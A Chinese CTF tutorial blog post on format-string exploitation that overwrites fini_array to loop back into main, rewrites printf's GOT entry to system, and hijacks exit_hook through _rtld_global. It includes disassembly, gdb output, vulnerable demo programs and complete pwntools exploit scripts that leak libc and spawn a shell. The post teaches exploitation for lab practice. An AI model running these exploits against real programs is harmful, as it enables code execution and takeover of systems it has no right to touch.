pwn知识——(x86)格式化字符串中利用fini_array及拓展 - Falling_Dusk - 博客园

我们在调试程序的时候,不难发现,main函数也是有返回地址的,这个返回地址在

linc_sttart_main,也就是说,我们的main函数也是被其他函数调用过来的。从图中也可以看到,在main函数被调用之前,还会调用

libc_csu_init,init_array中的函数,在main函数调用完成后,会调用fini_array数组中的每一个函数指针。

我们知道了在mian函数执行完毕之后还会执行其他代码,那我们在这些代码中可不可以做点手脚,让其又返回main函数?这样我们就有更多的利用机会了。

我们在第一次执行main函数的时候,将fini_array[0]修改为main函数地址,并且将printf函数覆写为system函数的地址,第二次执行main函数的时候,直接输入/bin/sh就可以成功利用漏洞。

这个图很不错,有兴趣的可以再去翻一下源码

第一步找地址

(这个过程可以自己手动找,也可以使用pwntools写脚本找到)

第二步修改地址

通过一般是手动修改,用工具算好的话,还不如手动修改来的快这个时候,可以半手动半工具

原理讲解

我们都知道,在程序中最先调用的不是**main,也不是__libc_start_main,而是_start,我们来看一下再x86下的_start**

.text:08048420                     public _start
.text:08048420     _start          proc near               ; DATA XREF: .LOAD:08048018↑o
.text:08048420 000                 xor     ebp, ebp        ; Logical Exclusive OR
.text:08048422 000                 pop     esi
.text:08048423 -04                 mov     ecx, esp
.text:08048425 -04                 and     esp, 0FFFFFFF0h ; Logical AND
.text:08048428 -04                 push    eax
.text:08048429 000                 push    esp             ; stack_end
.text:0804842A 004                 push    edx             ; rtld_fini
.text:0804842B 008                 push    offset __libc_csu_fini ; fini
.text:08048430 00C                 push    offset __libc_csu_init ; init
.text:08048435 010                 push    ecx             ; ubp_av
.text:08048436 014                 push    esi             ; argc
.text:08048437 018                 push    offset main     ; main
.text:0804843C 01C                 call    ___libc_start_main ; Call Procedure
.text:08048441 01C                 hlt                     ; Halt
.text:08048441     _start          endp
.text:08048441

我们可以看到,在_start结束的时候会调用**__libc_start_main**,而我们再看__libc_start_main的函数

// attributes: thunk
int __cdecl __libc_start_main(
        int (__cdecl *main)(int, char **, char **),
        int argc,
        char **ubp_av,
        void (*init)(void),
        void (*fini)(void),
        void (*rtld_fini)(void),
        void *stack_end)
{
  return _libc_start_main(main, argc, ubp_av, init, fini, rtld_fini, stack_end);

可以看到,包含有**main,init,fini**,既然传进去了这些参数,那必然有他们的用处,main和init就不用多说了,fini是做什么的呢?我们得跟进看一看。

可以看到,

__libc_start_main的返回地址就是__libc_csu_fini

,证明它是在__libc_start_main在结束后就会调用__libc_csu_fini,要是我们能对它进行一些修改,那说不定就能做一些“坏事”。我们来看看跟它相关的东西。

我们可以在fini_array段找到与__libc_csu_fini相关的东西,是数组

.fini_array:0804979C     ; ELF Termination Function Table
.fini_array:0804979C     ; ===========================================================================
.fini_array:0804979C
.fini_array:0804979C     ; Segment type: Pure data
.fini_array:0804979C     ; Segment permissions: Read/Write
.fini_array:0804979C     _fini_array     segment dword public 'DATA' use32
.fini_array:0804979C                     assume cs:_fini_array
.fini_array:0804979C                     ;org 804979Ch
.fini_array:0804979C     __do_global_dtors_aux_fini_array_entry dd offset __do_global_dtors_aux
.fini_array:0804979C                                             ; DATA XREF: __libc_csu_init+16↑o
.fini_array:0804979C     _fini_array     ends                    ; Alternative name is '__init_array_end'
.fini_array:0804979C

在这个数组里存放着一些函数的指针,并且

在进入__do_global_dtors_aux这个函数中会遍历并且调用各个指针,__do_global_dtors_aux_fini_array_entry是一个在程序结束时需要调用的函数的名称,它的地址偏移量在这里被存储

,也就是说,如果我们能

把__do_global_dtors_aux_fini_array_entry指向的地址变为main函数或者其它的地址,就可以进行一些非法操作

这就是fini_array在x86下格式化字符串的基本应用

不过需要注意的是,_init_array的下标是从小到大开始执行,而_fini_array的下标是从大到小开始执行

这对我们构造payload起到非常关键的作用

倒序执行的作用

Loop链

highlighter- apache

fini_array[0] = __libc_csu_fini
fini_array[1] = target_addr

因为是从大到小开始执行,所以它的执行流程是这样的

_start-->__libc_start_main-->libc_csu_init-->main-->libc_csu_fini-->target_addr-->libc_csu_fini-->target_addr-->...

只要你不改变fini_array的值,我们就可以无限次执行下去,任何的one_byte漏洞都会被无限放大,实现任意地址写

ROP链攻击

这个常常与栈迁移联系在一起

当栈空间不足时,我们可以把栈迁移到fini_array里去,先构造Loop链使它无限循环,然后往fini_array * 0x10后布置ROP链

当ROP链布置完后,要想跳出循环

highlighter- apache

fini_array[0]修改为leave_ret
fini_array[1]修改为ret

修改完后就能getshell了

至于为什么没有例题...是因为我还没有遇到,如果有我后续会补上来的

• %65c 再输出 65 个字符(总共 69 字节)

printf看的是输出,不是输入

%p的看的是内存中的字符的个数,0x1算1,0x123算5

demo小模型

2.35之前可以改fini_array处的两个地址,2.35之后csu去除了,只能改fini_array[0]了好像是

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

void init(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
}

int main(){
    char buf[0x100];
    int i = 0;
    init();
    for(i=0;i<2;i++){
    read(0,buf,0x100);
    printf(buf);}
    return 0;
}

exp

运用了小技巧的模版

#!/usr/bin/python3
from pwn import *
import ctypes
context(os = 'linux',arch = 'amd64',log_level = 'debug')
#elf1 = ctypes.CDLL("./libc.so.6")
#elf1.srand(ctypes.c_uint(int(time.time())))
pie = 0
file_name = "./pwn"
libc_name = "/lib/x86_64-linux-gnu/libc.so.6"#/lib/x86_64-linux-gnu/libc.so.6
host = "challenge.ilovectf.cn"
port = 30475
contents = 1
def create_io():
    global io , duan , elf , libc 
    elf = ELF(file_name)
   # libc = None 
    libc = ELF(libc_name)
    if contents == 1:
        io = process(file_name)
        #io = process(["qemu-mipsel","-L","/usr/mipsel-linux-gnu","-g","1234", file_name])
        #io = gdb.debug('./pwn', 'set follow-fork-mode child\nb *$rebase(0x178d)\nc')
        def duan(*address):
            pay = ''
            if pie:
                for i in address:
                    pay += 'b *$rebase(' + str(i) + ')' + '\n'
            else:
                for i in address:
                    pay += 'b *' + str(i) + '\n'
            gdb.attach(io,pay)
            sp()
    else:
        io = remote(host,port)
        elf = ELF(file_name)
        libc = None# ELF('./libc.so.6')

pr = lambda x:success('\x1b[01;38;5;214m'+hex(x)+'\x1b[0m')
sl = lambda x:io.sendline(x)
s  = lambda x:io.send(x) 
rt = lambda x:io.recvuntil(x)
ri = lambda x:int(io.recv(x),16)
ru = lambda x:u64(io.recv(x).ljust(8,b'\x00'))
it = lambda  :io.interactive()
sp = lambda  :sleep(1.5)
q  = lambda  :sleep(0.2)
lg = lambda  :log.info('\x1b[01;38;5;214m'+ '-------------------------------------------'+'success stage'+'---------------------------------------------------------'+'\x1b[0m' )

def ak1():
    pd = b'%41$p'
    s(pd)
    lib = ri(15)-0x29d90
    pr(lib)
#########泄漏libc#############
    fini_array = 0x403110
    writes = {0x403110:0x4011DB}
    pd = fmtstr_payload(6,writes)
    s(pd)
##########实现无限重启###########
    system = lib + libc.sym['system']
    printf = elf.got['printf']
    writes = {printf:system}
    pd = fmtstr_payload(6,writes)
    s(pd)
if __name__ == '__main__':
    create_io()
    duan(0x401231)
    ak1()
    it()


占位符

含义

%d

以十进制形式输出整数

%u

以十进制形式输出无符号整数

%x

以十六进制形式输出整数(小写字母)

%X

以十六进制形式输出整数(大写字母)

%o

以十进制形式输出整数

%f

以浮点数形式输出实数

%e

以指数形式输出实数

%g

自动选择%f或者%e输出实数

%c

输出单个字符

%s

输出字符串

%p

输出指针的地址

%n

将已经输出的字符数写入参数

技巧一:使用工具构造payload进行修改

这个工具可以自己去改,不用去考虑%n多出来的一个指针关系,会自动的写到栈上去

writes = {目标地址:目标值}
payload = fmtstr_payload(offset,writes)#numbwritten=0,write_size='bytes'

值得一提的是,我们的改写,尽可能是1字节,2字节的去改写,如果一次改写的字节数过多,如4,8字节,就会很慢,甚至会卡,具体原因就需要大家去了解fmtstr_payload到底是如何利用%c+%n改写的了

技巧二:利用溢出重置空间

下面这点的话需要注意

printf对\X00 字符串的截断
还有就是算好最大的,将最大的排在最后就行了

如果不想提前算好大小的话

比如说%hn这种情况的话,str(0x10000-xxx),通过这种方式刷新一下就可以了

exit劫持

exit_hook:当我们执行exit(0)时(而不是sys-exit和_exit(0),这三者的内部过程有很大不同)。必然会执行到两个函数,如果我们把这两个函数的值改成别的函数地址,程序就会去执行那个函数,因为这个功能跟hook很像,所以我们称他为exit_hook具体题目里怎么去寻找exit_hook的地址和他rdi的地址呢

在gdb中使用这个指令查看gdb的内部结构

p _rtld_global

会查看到很多内容,在最下面那一串dl开头的内容中,最上面的两个就是我们的目标

_dl_rtld_lock_recursive = 0x7ffff7c010e0 <rtld_lock_default_lock_recursive>,
_dl_rtld_unlock_recursive = 0x7ffff7c010f0 <rtld_lock_default_unlock_recursive>,

之后用如下命令查看这两个数据具体的地址

pwndbg> p &_rtld_global
$3 = (struct rtld_global *) 0x7ffff7e2a060 <_rtld_global>
pwndbg> x/500a 0x7ffff7e2a060

之后求出与libc的偏移即可

至于rdi,劫持exit_hook这两个函数的任意一个后,再在gdb里调试,看执行到恶意函数时的rdi指向哪个ld地址也与libc求偏移即可

谨记:需要patch好附件中的libc,ld,libseccomp文件,上述步骤才能查到远程环境中最正确的地址

无限制次数的修改脚本

这里的fmt是一个正常的发送

不过exit_hook在高版本后就很难利用了,好在这个版本还没被限制

修改函数

for i in range(4):
    payload=fmtstr_payload(offset, {exit_hook+i*2:system & 0xffff},write_size='short')
    fmt(payload)
    system=system>>16

修改参数

rdi_value=0x68732f6e69622f
for i in range(4):
    payload=fmtstr_payload(offset, {rdi+i*2:rdi_value & 0xffff},write_size='short')
    fmt(payload)
    rdi_value=rdi_value>>16

改rtld_lock_default_lock_recursive 或 rtld_lock_default_unlock_recursive为system,_dl_load_lock为/bin/sh\x00

适用版本:

glibc-2.34 后失效

利用条件:

至少有一次任意写程序可以结束(可显式触发exit函数 或 主函数由libc_start_main启动且可正常退出),调用到_dl_fini 函数

  _dl_rtld_lock_recursive = 0x7f1c45d98150 <rtld_lock_default_lock_recursive>,
  _dl_rtld_unlock_recursive = 0x7f1c45d98160 <rtld_lock_default_unlock_recursive>,
  _dl_x86_feature_1 = {0, 0},
  _dl_x86_legacy_bitmap = {0, 0},
  _dl_make_stack_executable_hook = 0x7f1c45dac140 <__GI__dl_make_stack_executable>,
  _dl_stack_flags = 7,
  _dl_tls_dtv_gaps = false,
  _dl_tls_max_dtv_idx = 1,
  _dl_tls_dtv_slotinfo_list = 0x7f1c45d829c0,
  _dl_tls_static_nelem = 1,
  _dl_tls_static_size = 4160,
  _dl_tls_static_used = 144,
  _dl_tls_static_align = 64,
  _dl_initial_dtv = 0x7f1c45d83e70,
  _dl_tls_generation = 1,
  _dl_init_static_tls = 0x7f1c45da4860 <_dl_nothread_init_static_tls>,
  _dl_wait_lookup_done = 0x0,
  _dl_scope_free_list = 0x0
}

打印地址注意事项

这里的gdb的标识问题看错了

pwndbg> p _rtld_global->_dl_rtld_lock_recursive
$4 = (void (*)(void *)) 0x7f1c45d98150 <rtld_lock_default_lock_recursive>
pwndbg> p _rtld_global->rtld_lock_default_lock_recursive
There is no member named rtld_lock_default_lock_recursive.
pwndbg> p &_rtld_global->_dl_rtld_lock_recursive
$1 = (void (**)(void *)) 0x7f1ff30f5f68 <_rtld_global+3848>

至于这个system的参数,可以通过调试的方法去确定

参数的话直接改就行

   0x7f8251247d91 <_dl_fini+49>     lea    rax, [rip + 0x1c2c8]               RAX => 0x7f8251264060 (_rtld_global) —▸ 0x7f8251265190 ◂— 0
   0x7f8251247d98 <_dl_fini+56>     shl    rbx, 4
   0x7f8251247d9c <_dl_fini+60>     add    rbx, rax                           RBX => 0x7f8251264060 (_rtld_global) (0x0 + 0x7f8251264060)
   0x7f8251247d9f <_dl_fini+63>     jmp    _dl_fini+106                <_dl_fini+106>
    ↓
   0x7f8251247dca <_dl_fini+106>    lea    rdi, [rip + 0x1cb97]     RDI => 0x7f8251264968 (_rtld_global+2312) ◂— 0
 ► 0x7f8251247dd1 <_dl_fini+113>    call   qword ptr [rip + 0x1d191]   <system>
        command: 0x7f8251264968 (_rtld_global+2312) ◂— 0
 
   0x7f8251247dd7 <_dl_fini+119>    mov    ecx, dword ptr [rbx + 8]
   0x7f8251247dda <_dl_fini+122>    test   ecx, ecx
   0x7f8251247ddc <_dl_fini+124>    je     _dl_fini+72                 <_dl_fini+72>
 
   0x7f8251247dde <_dl_fini+126>    mov    rax, qword ptr [rbx]
   0x7f8251247de1 <_dl_fini+129>    movzx  edx, byte ptr [rax + 0x31d]

最后调试的时候

打断点到下面这个函数上就行

有自信的话直接打断点都最下面这个函数就行

_run_exit_handlers   
_dl_fini
0x68732f6e69622f

题目源码

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

void init(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
}
int main(){
    char buf[0x100];
    int i=0;
    init();
    for(i=0;i<3;i++){
        read(0,buf,0x100);
        printf(buf);
    }
    exit(0);
    return 0;

}

exp

#!/usr/bin/python3
from pwn import *
import ctypes
context(os = 'linux',arch = 'amd64',log_level = 'debug')
#elf1 = ctypes.CDLL("./libc.so.6")
#elf1.srand(ctypes.c_uint(int(time.time())))
pie = 0
file_name = "./pwn"
libc_name = "/lib/x86_64-linux-gnu/libc.so.6"#/lib/x86_64-linux-gnu/libc.so.6
host = "challenge.ilovectf.cn"
port = 30475
contents = 1
def create_io():
    global io , duan , elf , libc 
    elf = ELF(file_name)
   # libc = None 
    libc = ELF(libc_name)
    if contents == 1:
        io = process(file_name)
        #io = process(["qemu-mipsel","-L","/usr/mipsel-linux-gnu","-g","1234", file_name])
        #io = gdb.debug('./pwn', 'set follow-fork-mode child\nb *$rebase(0x178d)\nc')
        def duan(*address):
            pay = ''
            if pie:
                for i in address:
                    pay += 'b *$rebase(' + str(i) + ')' + '\n'
            else:
                for i in address:
                    pay += 'b *' + str(i) + '\n'
            gdb.attach(io,pay)
            sp()
    else:
        io = remote(host,port)
        elf = ELF(file_name)
        libc = None# ELF('./libc.so.6')

pr = lambda x:success('\x1b[01;38;5;214m'+hex(x)+'\x1b[0m')
sl = lambda x:io.sendline(x)
s  = lambda x:io.send(x) 
rt = lambda x:io.recvuntil(x)
ri = lambda x:int(io.recv(x),16)
ru = lambda x:u64(io.recv(x).ljust(8,b'\x00'))
it = lambda  :io.interactive()
sp = lambda  :sleep(1.5)
q  = lambda  :sleep(0.2)
lg = lambda  :log.info('\x1b[01;38;5;214m'+ '-------------------------------------------'+'success stage'+'---------------------------------------------------------'+'\x1b[0m' )

def ak1():
    pd = b'%41$p'
    s(pd)
    lib = ri(15)-0x24083
    pr(lib)
#######泄漏libc#############
    binsh = 0x235968 + lib
    target = 0x235f68 + lib
    pd = fmtstr_payload(6,{binsh:0x68732f6e69622f})
    s(pd)
    
    pd = fmtstr_payload(6,{target:lib+libc.sym['system']})
    s(pd)
########change system########

if __name__ == '__main__':
    create_io()
    duan(0x401229)
    ak1()
    it()